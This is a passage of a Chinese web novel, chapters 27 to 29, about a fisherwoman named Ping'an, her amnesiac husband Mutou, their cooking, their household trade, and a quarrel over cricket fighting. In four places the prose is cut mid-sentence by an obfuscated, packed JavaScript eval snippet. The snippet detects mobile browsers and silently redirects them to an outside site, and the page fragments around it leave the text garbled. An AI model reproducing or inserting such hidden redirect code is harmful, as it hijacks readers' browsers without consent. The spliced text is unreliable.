不过，她想，必要的时候，也不可或缺。平安摩拳擦掌，淡淡朝后方瞟去。 回家路上，木头尝试与平安搭话，她皆只是沉默嗯声。 便是再没脑子，木头这会也切实感受到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183247|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家娘子的怒意，可他不懂，明明他也是为了家好，为何她要生这么大的气。 他几时这样贴过别人冷屁股，又几时受过这等窝囊气，木头一时间亦气上心头，也决意不再上赶着巴结她。 只是视线不经意间扫至她那张紧绷的俏脸，他的心也不可避免地小鹿乱撞，心中酝酿多时的怒气如戳了气的皮鼓一般，一股脑消失殆尽。 两人一路相顾无言，匆匆往家赶去。 刚推开院门，就见灰灰正在园中扑蝶，毛茸茸的尾巴在翠绿的青菜堆中时隐时现。 听得主人回家的脚步声，躺在廊下晒太阳的小白耳朵竖立，瞬间精神，摇头晃尾朝平安奔来。 平安将手中物什交给木头，却见他一时呆愣，目带讶异朝她看来。 “拿一下。”平安与他对视一眼，目光很快回到小白它们身上。 “哦......”木头低低应了一句。 平安却没再看他，只是蹲下将狗子揽入怀中蹂躏。 “嗷嗷~~”见狗儿在她怀中咧嘴撒娇，木头恨恨瞪了一眼，转身将木桶与背篓放好。 等他走远，平安方轻叹出声，她揉了揉狗头，起身去井边洗净双手。 爷爷这会已将糯米蒸好，平安留了小半当主食，剩下的则等晾凉再撒酒曲。这两日天光好，想来两三日便可酿成那甜酒。 至于吃些什么菜，平安想了想，越快越好，等下他们还得做葛根粉，那可是个费时费力的苦力活。 平安快步出门，去门前的柳树上捋下一捧淡淡黄绿色的柳叶嫩芽，待回院中，顺道隔上一把韭菜，春日里做个清新爽口的柳叶韭正好。 剩下两道菜，就做个清炒芋头丝与香酥小泥鳅。 思及此，平安从坛中捞出自己腌制的鲊芋头丝放入盆中备用，又从杂物房里清出一把吐了泥的小泥鳅。 柳叶韭是凉菜，可先做。 木头看平安闷声拾捡柴火，虽不想先开口说话，但还是上前抢过她手中的细柴。 平安仰头睨他一眼，两人目光在空中飞速交汇，却哪个也不作声。 既然有人烧火，平安便将水倒入锅中，等着水沸。 接着就把韭菜去掉老叶、黄叶切成段，新鲜的嫩柳芽去掉芽心，掐短枝梗，将两者分别淘洗后用篮子分开沥水。 做完这些，掀盖一看，水尚且只微微冒出热气。 灶房中两人相顾无言，谁也拉不下脸打破寂静。 平安暗暗瞪了木头一眼，转身又去处理泥鳅。 活蹦乱跳的小泥鳅无法现杀，但它表层有一层滑不溜秋的黏液，滑手又带腥，平安倒上几口烈酒到桶中，将泥鳅摇晃醉晕。 察觉身后窥伺视线，她扭头，却见木头正踮起脚偷瞄。见她回首，他又飞快转移视线，昂头看向烟囱，那傲慢的小动作，倒显得平安是在无中生有自作多情一般。 平安无语地收回视线，待泥鳅醉晕，她撒下一把豆粉将泥鳅表面的黏液搓洗干净。 这会水已沸腾，平安在水中舀入小块猪油，猪油块遇高温迅速化开，水面瞬间浮起滴滴油珠。 平安见状，立即用笊篱下韭菜段开烫。 心中默数十息，笊篱迅速离水沥干，将韭菜放至海碗备用。 嫩柳芽比韭菜更为细嫩，同样的步骤，不过三息便可捞出。 焯水的柳芽颜色依旧青绿，形似一芽一叶的毛尖不提，闻着还自带一股淡淡的柳叶清香，倒与嫩茶叶尖有异曲同工之妙。 韭菜中下姜丝、香油、醋，酱油搅拌入味，最后在碗中心撒上柳芽，一道色泽翠绿，口感清新的凉拌柳叶韭便做成。 27. 杀鱼的第二十七天 鲊芋头丝的炒制十分简单，只需热锅热油下芋头丝爆炒翻拌，不过片刻便可出锅。 滚烫铁锅爆炒出来的芋头丝根根分明，锅气十足，口感介于柔韧与粉糯之间，自带一股坛中自然发酵的微微酸香。若要用一个字来形容它的味道，那便是鲜，极其鲜。 一小筷的芋头丝入口，便可瞬间唤醒人的味蕾，同时，芋头的香浓、老坛的窖香、芋头丝中残存的粉糯与奇特的鲜香同时在口中交织，让人齿颊留香，欲罢不能，只恨不得再扒三碗饭才好。 这道菜，复杂的不是炒制，而是芋头丝的腌制，需天时、地利、人和，缺一不可。 择一个清风徐徐的晴日，将新鲜的芋头清洗干净，切成丝状放置于圆盘簸箕之上。 在家中寻一处即可通风，又不直晒的干燥角落，将簸箕放置此地阴干。 待三日后，芋头丝水分蒸发，捏之柔韧不断便算晒成。用凉白开清洗上面的灰尘，风干水分后用盐与少许茱萸酱将芋头丝抓拌腌制。 待每一根芋头丝上均匀裹上盐渍，将芋头丝投入坛内，盖盖封水，静静等待时间窖制出一坛美味。 这样做出的芋头丝，真是神仙滋味。 待芋头丝出锅，等锅洗净烧干，下宽油炸泥鳅，立即封锅盖。 锅内瞬间传来一阵噼里啪啦声响，待声音渐消，平安将锅盖掀开，泥鳅基本已炸至定型。 将泥鳅炸至表皮发酥，夹出控油。 炸好的泥鳅外酥里嫩，肉质清甜。 将油盛出部分，下泥鳅，撒入五香粉与葱花，轻轻颠锅翻拌数下，使泥鳅与香料葱花混合均匀，一盆香酥可口、香气十足的炸泥鳅便可开吃。 一家人围坐桌前，平安将今日搭卖竹编的铜钱递给胡水生：“爷爷，今天卖了三个竹刷，一个斗笠，一共赚了二十七文。” “这是钱。” 胡水生点点头，又伸手递过七个铜板给木头：“今日辛苦榆明了，拿着。” “爷爷。”在一旁僵坐的木头倒是不提防爷爷还会分钱给他，他今日压根就没帮上什么忙，这竹编都是娘子在档口卖掉的。他虽不着调，但也知取财有道，是以蹙眉拒绝，“爷爷您拿着吧，我有钱使。” 胡水生却是坚持：“拿着，你们要用钱的地方也多。” 木头偷偷瞟了眼平安，见她这会安坐如山不看自己，显然无法从她那里求救。 拒绝的话尚未出口，爷爷已将铜钱塞进他手中。 看着爷爷蜡黄枯瘦的手，木头于心不忍，爷爷干活有多辛苦，这些日子他亲眼所见，这会塞到他手中的每一分钱，都是他一日日低头弓腰编出来的血汗钱，他实在羞于收下。 木头下意识要将钱塞回，却被爷爷掌心的粗粝所震，那样厚重的老茧，只是轻轻一握，便刺得他手心微微发麻。 与此同时，他不由想起之前赔的那一百文药钱，当时他不觉有甚，这会心中却似有一块巨石压下，沉甸甸地，让他有些喘不过气来。 “爷爷给你的，你拿着。”平安瞥了眼木头，淡淡出声。 胡水生早已察觉两人之间气氛微妙，小年轻的事他无法直接插手，只想着对孙婿好些，拿真心换他一颗真心，让他好好待他的安安。 这会见着孙女主动搭话，他暗松一口气，笑呵呵地走回座位。 “谢谢爷爷。”木头低头道谢。 今日的午膳两素一荤，柳叶韭清香鲜爽，入口微涩隐有回甘；芋头丝更是酸辣下饭，口感独特；至于香酥炸泥鳅，外酥里嫩，香香脆脆，一口下去，酥酥的骨头与细嫩的白肉伴随着五香葱香在唇齿间交汇，即可下酒又可拿来当解馋的小零嘴。 一向寡言的胡水生为了缓和气氛，在桌上想尽办法与两人说话。 平安当然理解爷爷的良苦用心，只是木头这人看似嘴甜好说话，实则倔强自傲，有些问题不是囫囵敷衍便能解决的。但她亦不想让爷爷过于担忧，当下只得暂时让步，有些话等晚上关上门她再与他好好道来。 木头瞅了瞅爷爷，又偷偷瞄了眼娘子，见她在爷爷三言两语之下老实应是，心下不由暗笑。 果真是卤水点豆腐，一物降一物，在他面前鼻子不是眼的娘子在爷爷面前比小狗还乖，他心中暗自窃喜，幸好爷爷愿意帮他。 “安安，我刚同你说的话你要记得。” “知道了，爷爷。”平安吃了条小泥鳅，低头不看两人。 “榆明是个好孩子，他一个人在这孤苦无依，咱们可不能欺负他。” 见着娘子的头越来越低，木头也知这是给他台阶下，他忙上前接话：“娘子待我很好，是我不懂事，让爷爷和娘子担心了。” 平安红着眼瞪他一眼，他却笑得灿烂。他们俩的事在长辈面前不好多说，她也就用公筷夹了一把芋头丝给他：“多吃点，等会有得忙。” 木头被晾了半晌，终于得到娘子示好，当下也喜气洋洋应了一声：“哎，好。” 将打扫任务丢给木头，平安匆匆跑回灶房检查她的糯米，这会糯米温度已与体温接近，正是下酒曲的好时机。 平安将自制的酒曲捣碎成粉，倒入凉白开用干净的擂棍将糯米搅散，撒入酒曲粉与糯米混合均匀。 将糯米倒入无水无油的甜酒钵中，按压紧实，中间用棍戳一个洞方便排气观察。 做好后立即封盖，将甜酒钵放于温暖干燥的地方进行发酵，若是进展顺利，过上两三日她就可以吃到甘甜软糯，沁人心脾的甜酒了。 那种一分酸，九分甜的清甜滋味，想想便让她口水暗流。 直接吃好吃，加些鸡蛋和糯米圆子一起做甜汤也好吃。 灰灰与小白这会早已饿得嗷嗷叫，但两小只很守规矩，未经平安允许，再饿也只在灶房外等她。 看着它们快摇出残影的尾巴，平安轻笑出声，赶忙打些米饭与剩菜端到外头。 他们要处理的葛根是爷爷前几日挖回的，放上几日阴干沉淀，这会正是出粉最高的时候。 但要做这葛根粉，洗净、削皮、切块、磨粉、滤浆、沉淀、晾晒，步步皆急不来，不可漏，慢工方可出细活。 若不是爷爷要做，平安宁愿去码头搬一天货，也不想弯那么久的腰。 第一步，就得将葛根外皮的泥巴洗干净。 这泥巴水积在院中不好清理，平安将石磨与石臼搬至院中备用，喊上爷爷一起将葛根抬至溪边冲洗。 等木头出门，见到的就是空无一人的院子。 他打开院门往外走去，果真在溪边见到了爷孙俩的身影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192860|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见得木头出门，一旁的婶子娘子们顿时出言调笑：“呀，榆明出来了，可是怕我们拐走你家娘子？” “新婚燕尔，感情就是好啊。” 不理会她们言语中的调侃，木头温声回应：“爷爷与娘子干活辛苦，我出来帮帮忙。” 平安回首望去，就见木头正躬身与堂婶回话，不知他低声说了什么，引得堂婶和那几个娘子娇笑连连。 他人恰好站在树荫边缘，一边是清凉树荫，一边是耀目骄阳。明媚的阳光透过纵横交错的枝叶在他脸上留下斑驳的光影。他本就身姿修长，眉目如画，这会更是衬得他五官英朗，气度温雅，连带上身上那件廉价的粗布麻衣仿佛也变得值钱起来。 两人目光在空中交汇，平安尚未开口，他便笑意盈盈与她挥手，随即快步朝溪边奔来。 “娘子！” 伸手不打笑脸人，既让他得了教训，平安这会也不再拿乔，她朝他招了招手，唤道：“你现在这将葛根刷干净，我先带这些回去。” “得令。”木头喜滋滋应道。 看这俊郎君在胡平安那泼妇面前服服帖帖，一点男儿尊严也无，一旁看热闹的小娘子也不由暗咬牙根，甩着帕子私下交换几句酸话。 平安却懒得搭理这些，径直回家干活。洗净的葛根还需用刀剖掉外边的厚皮才可切割，葛根不但外表像树桩，硬度也像，若不是平安力气大，怕是也难下手。 剥完皮的葛根肌理粗糙，纤维复杂，要将这些都切成可磨碎的颗粒，得费上不少功夫。 平安决定今日还是主用石臼，石磨辅之。 切碎的葛根块在平安的大力捶打之下，很快便化为细腻柔软的葛根渣，为着出粉多，她打算舂完再加水过一道石磨。 等到木头与爷爷归家，就见平安已一人捶打完半盆葛根。 一家人忙活到傍晚，才将这些葛根处理完。 看着大水缸中的沉淀的浑浊粉水，木头揉了揉自己酸痛的腰背，内心悄然腾升起一股自豪的成就之感。他真的难以想象，看着普普通通的树根，要经历这么复杂累人的工序，才能变成市集里三十文一斤的葛根粉。 傍晚，身心疲惫的夫妻俩关上房门。 木头这会是什么心思也无，只想着与床铺来个亲密接触，再与周公在梦中好好商议一番发家致富的大计，也免得日后再受这等累活蹉跎。 刚挨上床，肩膀便被娘子轻拍，今日的遭遇实在跌宕，他下意识畏惧娘子找他麻烦，当下心中一阵咯噔，惊得瞌睡全无。 平安被他这惊乍模样弄得哭笑不得，她在他面前实在已经是收敛力气与脾气。这眼神，怎么好似她要将他生吞活剥一般？ “先把衣服脱了再坐。” “哦。”木头暗暗舒了口气。 终于躺下歇息，平安却不会轻易放过他，今日之事还没掰扯清楚，势必要他拿个态度出来才行。 “你可知我今日为何生气？”黑暗中，她幽幽发声，将木头吓出一身冷汗。 担忧已久的翻旧账终于到来，木头深吸一口气，低声迎接迎面而来的砍刀：“还请娘子指教？” “是我问你还是你问我？” “是你问我。”木头顿了顿，叹道，“可我确实不明白。” 28. 杀鱼的第二十八天 见他叹气，平安握住他的手，亦无奈叹息：“我知夫君寻促织是为了挣钱养家，我亦不反对你兜售促织。你今日在外奔波那样久，回来又随我们做半日粗活，着实辛苦。” 木头低低哼了一声，不搭话。 “我与你说的是真心话，即使你一样竹编都没卖出，我也不会怪你。万事开头难，你不是本地人，一开始生意只会比我们更难做。我亦知你既承诺要挣钱养家，自会勤奋上进尽心尽力做好答应我的事。咱们慢慢来，一步一步总能将路走好。” “可是娘子，我不想靠你养着。”沉默半晌的木头骤然出声，打断她的话。 他的声音又低又哑，平安可以轻易察觉他语中的难堪与惆怅。 原来他在焦虑这个，平安握紧他的手，安慰道：“你没靠我养着，你不必有压力，之前你给我的那几颗宝石可抵上好几贯钱呢。” 感受到手中的挣扎变轻，平安方接着解释：“只是有一点......”她顿了顿，语气也微扬起来，“卖促织可以，但是斗促织，你千万勿要沉迷其中，甚至以此为业。你之前说要经常玩玩促织的话，实在是吓到我了。” “我知夫君聪慧，但镇上鱼龙混杂，人心难测。这东西小打小闹倒是无所谓，万一你赢得多，被人盯上，给你安排个仙人跳，不赔个几十上百贯岂能脱身？我心知你是为了我好，咱家现在也缺钱，可斗促织斗鸡之事，比之关扑更为危险。须知那些柜主一向只进不出，与赌坊无异，咱们这点家底是不够他们玩的。” 看娘子未否认他的付出，木头心情方好受许多，他这才回握住平安的手，将她揽进怀中，闷声道：“我都知道，娘子，我会踏踏实实过日子的，我只是看你和爷爷那么辛苦，这才一时鬼迷心窍，想挣段时间快钱。” “那就好，我只是想着外边人心险恶，你又失了记忆，怕你容易着道，今日是我态度不好，对不住你了。”平安声音软了下来，归根结底，木头满腔赤忱皆是为这个家。 “原谅你了！娘子，我没事。” “真的？肩膀不痛？” “娘子揉一揉就不痛了。” “哧！”平安轻笑，伸手轻抚他的肩颈。 伴随着阵阵清脆的虫鸣，两人喃喃低语几句，相拥陷入梦乡。 翌日清早，看着这夫妻俩又和和美美说起话，胡水生心中悬了一晚上的石头也终于悠悠落地。 将澄清一晚的葛根粉换水继续沉淀，平安方收拾东西准备出门。 “爷爷，我们先走了。” “好，在外定要注意安全。” 走到河堤，见爷爷依旧提着油灯跟在后面，平安与木头对视一眼，转身朝爷爷挥了挥手。 待两人将鱼和竹筐全部搬到船舱，平安方解开绳索，用竹竿撑离河滩。 随着春日来临，河坡河滩上的花花草草也逐渐苏醒，几日不留神，木桩边的荻花都已长到膝盖高。 “娘子，在看什么呢？” “我在想，今日回来得带着镰刀将这些草割掉才好，不然等到夏天到来，这里不知道会藏多少蛇虫。” “蛇？”木头默默咽了咽口水，他环顾四周，小声问道，“会咬人的蛇吗？” “咬人不咬人的都有。”平安看他这吃惊模样，笑着拍了拍他的肩，安慰道，“怕甚，把草除了它们就不会待在那，咱们只要不招惹它们，一般都没事。” “哦，娘子我跟你说，我才不怕蛇，到时候有蛇你就躲我后面，我来保护你。” “真的吗？”平安压低声音问道。 “那还有假？”木头挺直胸膛。 “那你看看你后面是什么？” 木头动作瞬间僵滞，他回首往水面望去，就见一细长身影正藏匿水中逐船而行。 那灵活的走位，那暗乎乎的颜色，这不是蛇是什么？ 他脑子尚未反应过来，人已经一跳而起，跑到平安身后。 平安畅笑出声，转身捏了捏他的脸：“水蛇，无毒，不咬人的。” 听得娘子笑声，木头瞬间反应过来，他清了清嗓，找补道：“娘子我跟你说，我没在怕的，我这是回船舱找工具打它。” “嗯，我信你。”平安指着蛇头对他说道，“虽不太准，但大部分无毒的蛇，头部形状圆润，有毒的则多呈三角尖状，咱们看见了快些跑就是。” 经昨日夜谈，木头既承诺不会沉溺斗玩之事，平安也就不再阻扰。 到后面她也想明白，木头人生地不熟，他一人在外确实寸步难行，别说信任，那些人不给他挖坑就算好的。 他若想做这卖促织的生意，确实得让人看到他促织本事。 之前一想到有人因斗鸡、赌博家破人亡，她心中便对这等妄图投机取巧一步登天的行为万分反感。冷静下来再回想，木头虽好玩，但他并非顽固不化之人，她昨天言行确有几分欠缺考量。 两人约法三章，他每日投入促织上的成本不得超过他赚的彩头，否则平安将不再支持他的这门生意。 当然，竹编的生意不能落下。 两人在赚钱一事上头一回达成默契，今日做起活来也是格外高效。 为着吸引客流，平安今日带了条脆肉鲩，一条鱼的利润就顶之前两天收入，袋中有钱，她心中顿时安稳许多。 客人们都是差的看不上，贵的买不起，因此其他的鱼销量一向中规中矩，在禁渔期结束前，能维持这样的收益便算不错。 等鱼卖完，木头尚未回来，平安便将档口关门，托付杨婶她们照看她的物件，这才安心去街上寻他。 对于竹编的收入，平安一向不抱多少期待，往年她爷将竹编在档口寄售，也卖得很慢。爷爷做的竹编质量扎实，一件可用好多年，平民百姓家，谁东西坏了不缝缝补补再用三年，这市场自然就小了。 竹编的大头，还得是倚仗嫁娶之事，做一做陪嫁品的生意，像水竹凉席、竹椅、竹美人、竹枕这些都是当地陪嫁首选。 这会寻到木头，见他身边围着一群叽叽喳喳的小孩，平安倒是有些惊讶。 等人群散去，平安才知，他将昨日斗的那只促织卖给了周家布庄的小郎君，人家嫌弃那竹子做的促织罐不够精致，配不上他的大将军，只拿了促织了事。 木头沿街串巷半晌，爷爷的竹编没卖几个，反倒将竹编的促织罐以两文一个的价格卖给了小孩。 这会那些孩子围着他，是为了要他明儿多带几个促织罐来。 “夫君果真聪慧。”平安拉着他的手，笑赞出声。 “那是，我说了我会赚钱养你，我就要做到。” “信你，走啦！”平安取出块干净帕子替他理了理鬓边的碎发，她视线掠过他被太阳晒得泛红的脸颊，与他那双熠熠生辉的星眸对上，一时间也不由被他眸中的喜悦所感染。 他好像一直这样乐呵呵，乐观到一些她眼中的麻烦事在他眼里都不是事。 她想，他这种心态的确值得她学习。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是时间充裕，还可将芋泥或南瓜泥化入糯米之中，再搓出各色小圆子。 那样做出来的甜酒汤，才是即漂亮又饱腹。 平安给爷爷和木头各盛上一碗，加入小勺红糖增甜上色，这才安心吃起自己那份。 唔，入口酒香幽幽，浓而不黏，甜而不腻，舀上一勺，即可尝到爽滑的蛋花又可品到香甜的醪糟，细细咀嚼之下，糯糯的圆子与香浓细腻的葛根粉糊反馈给唇齿弹牙绵密的口感。 一口喝完，平安只觉后背微微冒汗，做起活来愈发得劲。 几日下来，木头逐渐将竹编生意向妇人和孩童倾斜，这门生意倒逐渐起步。他能在镇上寻到有钱人家将他和爷爷编的这些东西兜售出去，在平安看来，的确算得上聪明又勤恳。 也因此，他现在兜里也叮叮当当存了一些铜板。 他身上这些小鱼小虾，平安并未要他上缴，他却十分主动，除了偶尔给她买些甜嘴的小食外，隔上几日便将身上铜钱凑整交给平安。 他既坚持，平安也含笑收下，替他记好每日收支。 他近日的表现瞧着倒好似真痛改前非，开始踏实过日子。平安不是没有看到他经常在那斗鸡斗促织的地界逗留。斗促织还算有由头，斗鸡？只要他目前别扯出外债，她暂时不想管他。 禁渔期将过，她这几日得修补晾晒渔网，再做些好饵料，为即将到来的捕鱼期做好准备。 29. 杀鱼的第二十九天 这日将鱼卖完，木头尚未回档口，平安想他最近卖竹编卖得起劲，想来卖完还需一段时间。 这会已是巳时中，平安急着捕鱼，便拜托杨婶她们给木头留话，自己独自往码头赶去。 解绳，收锚，她笑着同码头边的纤夫们打完招呼，竹竿朝护坡石轻轻一顶，尚未负重的船身便轻快离岸数米。 一路上，平安遇见不少满载而归的渔船。 禁渔期一过，许多人便蜂拥而至，要想多捕捞，还是得走得远，去那人迹罕至的地方。 玉溪河一向水产丰饶，往年各村端午龙舟竞渡，划得快了，那木桨也能拍晕几条鱼儿上船。 许是今日人多，一些爱在近水面畅游的小鱼此刻也不见了踪影。 时间紧促，平安路上未做停留，只专心赶路。 木头不在，她才自在释放气力。不过两刻，她便已驶入大河主干道。 平安将船靠边行驶，谨慎避开来往的商船与渔船。 待四周人烟渐稀，她这才回船舱取出备好的饵料。 她早准备大干一场，渔网、竹笼、鱼叉、竹竿一应俱全，饵料自然也荤饵、素饵、复合饵俱全。那些蚯蚓，小虫皆是提前几日抓好，至于槽食素饵，也少不了动用喂鸡鸭的豆渣和自家地里的菜叶。 她将这些原料细细剁碎，又加了白面与剩饭揉捏成团蒸熟，做饵料费时费力，今日一行，还望河神大人勿要让她失望而归。 仔细观察了下水流速度，见此地水波宽阔，水流平缓，平安小心抛下第一把鱼饵。 鱼饵入水打窝，下渔网，不过片刻，水面便泛起丝丝涟漪，时有气泡咕噜冒出。 为捕捞喜在水域上层活动的黑鱼鲢鳙之类的鱼儿，平安这一网并未下沉很深。 静待片刻后，察觉渔网吃重下沉，平安心下大喜，她一手稳稳拽紧网边，一手有条不紊地缓缓牵拉引绳。 她天生一股神力，做起这等重活来，得心应手，一人足以抵两三青壮劳力。村中用来搭桥的厚重青石板，她随手便可拎起一块。她自小便知自己与别人的不同，在人前已是收敛许多。 等到渔网收拢，平安将网中鱼儿倒进船舱。 竟然有好些花鲢，有那肥美的，已过成人半臂长，平安心中喜不自胜，这可是大丰收。 花鲢头大，当地又称胖头鱼。又因肉质紧实，鱼刺偏少，在百姓餐桌上颇受欢迎。 按如今市集花鲢十文一斤的卖价，一条大的便可净赚上百文。 她这门生意，也如种田种菜一般，需看天吃饭，有淡有旺。这会看来，她运气不错，捞上几网好的，便可弥补禁渔期的亏空。若是运气好，遇到贵的鱼，那他们的账便可提前清完。 每每想到此，平安也如她爹一般，心中萌发出买一艘大船的想法，她想深入望无边际的云梦湖，想去汹涌奔腾，直流入海的长江，若能捞上一船好鱼，一趟赚个几十贯都有可能。但那样的船，动辄几十贯起步，平安只得寄希望于夏秋的丰收。 看了眼自家这艘晃晃悠悠的小船，平安深吸一口气，仔细检查起渔网，见网身没有缺损，补了几块饵料进网囊后，她便往前继续出发。 接下来几网，都是些小鱼小虾，个头太小的，平安便丢回了河中。 有了这开门红，平安沉下心来，眼观四路，目光在沿河两岸繁茂的植被上飞速掠过。 在河上漂泊数年，她早已发现几个收获丰饶的打捞点，每每缺钱，她便会来这些地方寻寻机会。 接下来几网，多是鲫鱼、鲤鱼、草鱼，小白条这类常见鱼种，个头也有大有小。价贵的鱼儿人人都爱，但向来是可遇不可求。 船舱已满，能有这些收获，但平安已经心满意足，决意返程。 将鲤鱼鲫鱼胖头鱼混养在舱中，剩余一些小鱼则安置在木桶里，平安这才踩着舱边走去船尾掌舵调头。 她这船船舱空间拥挤，这胖头鱼又活跃爱跳，怕是再拖延下去，这些鱼儿得死掉一半。 留足下笼子的饵料，平安一边返程，一边将剩余饵料抛撒至河中，就当回馈大河今日的慷慨。 不知不觉，她已出来近两个时辰，她今日捕上的鱼大大小小加起来怕是得近百斤。 花鲢鲤鲫那些占大头，最便宜的是白鲢，因着当地多觉它肉质松散，又为发物，在市集上一向卖不上价，市价才六文一斤。至于鲤鱼、鲫鱼一般为八文，平安估摸一算，这些大鱼也能卖个五六百文。 那些小河鱼小河虾若能卖出，也有两三百文。 刨除损耗，她今日这一船的纯利仍可顶之前半月。 越算，平安越发兴奋，也就忽视了船底的异常。 等她冷静下来，这才惊出一身冷汗。 一路上，船底不时传来闷厚的敲击声，咚咚咚，像是要调戏她玩一般，等她凝神细听，却又没了动静。 一时间，四周寂静得只余浪声与她砰砰的心跳声。不知为何，平安脊背突然阵阵发凉，突然想起坊间盛传的落水鬼传闻。 这传闻周而复始，从春季开始悄然发酵，至盛夏成为巅峰，到秋冬则逐渐沉寂，第二年初周而复始。 奇怪的是，平安近水而生数年，却只在旁人耳中听闻此物，自己却从未亲眼目睹。 对于那些传得神乎其神的怪闻，她一向不怎么相信，但心存一丝敬畏。 诸如落水鬼会突然抓住在河间穿行的人，将他拖下去当替死鬼；什么有人河中戏水，却被拽脚溺亡；还有那临水而住的阿婆，半夜发现家中出现一道拖拽的湿淋淋水渍，提心吊胆摸灯细看，却见那落水鬼正在房中笑嘻嘻看着她。 幼时她没少被这些传闻吓得不敢出门，更别提近水。 她爷不希望她在水上讨生活，对于她这举动自然是只有满意。 越回想，平安越觉后背寒意更甚，这会真遇上怪事，她心中既好奇又害怕。 想到她爷，平安霎时清醒。她目光扫视四周，这边水域宽阔，人烟罕至，她船上还有那么多鱼，不管是什么东西，不管发生什么冲突，于她而言皆不划算。思及此，她微微前倾，手中木桨吃水更深，瞬间拍起片片雪白浪花。 一路有惊无险回到玉溪镇码头，平安擦了擦身上冷汗，正欲托人去档口喊木头回来，就见他背着竹篓，正倚靠在码头的长坡护栏边，神色不虞地盯着她瞧。 两人视线刚一对上，他目中不满之意几近溢出，平安怎么瞧着，还有几分委屈。 她昨日逮住他又去看斗鸡，还未曾怪他呢。 不出平安所料，她刚靠岸，木头便重哼一声，背着东西埋头跨上船板。 “档口我已经锁了，回家。” 一路上，平安小心试探几句，可他却只是闷声端详尚未卖完的几样竹编，并不与她说话。恍神间，平安突然想起前几日他也是这样讨好她，一时只觉有些梦幻。这会，她第一次深切感受到，他们俩的性格怎么都有几分幼稚呢？ 他既不虞，她只得讷讷止言。可半晌没有听到她的声音，木头反而又不乐意了：“你今日不告而别，你知道我多担心吗？也不哄哄我？” “扑哧。”平安实在有些忍俊不禁，她倒是不察，他竟是一个这样直白的人。 上次两人闹了半日冷战，平安心中也实在憋闷，她想若是往后有事，两人皆能坦言率行，那日子不知得松快多少。 面对木头如此真挚性情，平安心情愉悦做下承诺：“好，是我不好，下次我当面与你说。” “这还差不多。”木头起身，夺过她手中船桨，费劲地往家中划去。 坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224438|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下歇息的平安伸展酸痛的四肢，透过斑驳的光影，望了眼自家便宜夫君修长瘦削的背影。她第一次觉得，婚后的生活，倒也不错。 今日喜逢丰收，平安心情上好，便愿意在晚膳上多费些时间。 她早上带出垫肚的鸡蛋并未吃完，将这鸡蛋剥壳切成圆片。下鸡蛋、蒜末用油小火慢煎，待鸡蛋煎至两面呈虎皮状，最后撒上少许酱油与青翠蒜段拌匀就可出锅，一碗蒜香浓郁，焦香四溢的虎皮金钱蛋便做成。 至于米饭，她让木头去后边竹林砍了几根细竹回来，将竹子砍除多余枝叶后，锯成一段开口状备用。 一半竹筒饭她只加入浸泡的大米，开口处用笋壳封住，另一半，她则将在米中加入适量酱油，将腊肉切成丁，再加入脆嫩的芦笋尖与秘制的肉鲊，灌入开水，同样封口处理。 封好的竹筒饭一同上蒸笼蒸制，吃的时候用篾刀将竹筒剖出小口，轻轻一掰就可成两半，这样做出的饭软糯香甜，自带一股幽幽清新的竹叶清香，风味独特。 若是喜锅巴的焦香，还可将竹筒投入炭堆之内用炭火余温慢慢烘烤，那样做出的竹筒饭，外层是焦香酥脆的锅巴，里边则是滋滋冒油、带着浓郁炭烤果香的肉片与咸香软糯、鲜味十足的米饭。 剩下两道菜分别是牡丹生菜与水晶脍，原材料都极其简单，一样是生菜与豆粉，一样便是鲤鱼的鱼鳞。 经过平安处理，生菜摆盘精巧，形似盛开的重瓣牡丹，吃起来也是外酥里脆，回味甘甜。 而水晶脍亦菜如其名，晶莹剔透，形似水晶，是用过滤清澈的鱼胶所制，口感爽嫩弹牙，用生菜、笋丝、韭菜、大葱做配菜，再配之以酱、酽醋、砂糖、葱蒜、花椒、胡椒做成的五辣醋做蘸酱，吃起来酸香十足，辛辣可口。 若是条件允许，平安更喜欢用调好味的鱼肉鱼皮一同熬制出的鱼冻做此菜，吃起来荤香浓郁，口感更加丰富，自带一股极其独特的鲜味，用羊肉她也不换。 一桌饭吃得木头十分满意，当下也好话连出。 正所谓家和万事兴，平安这会也乐得附和，三言两语直将木头哄得眉开眼笑。 木头连道：“要得娘子几句夸奖可真不容易。” 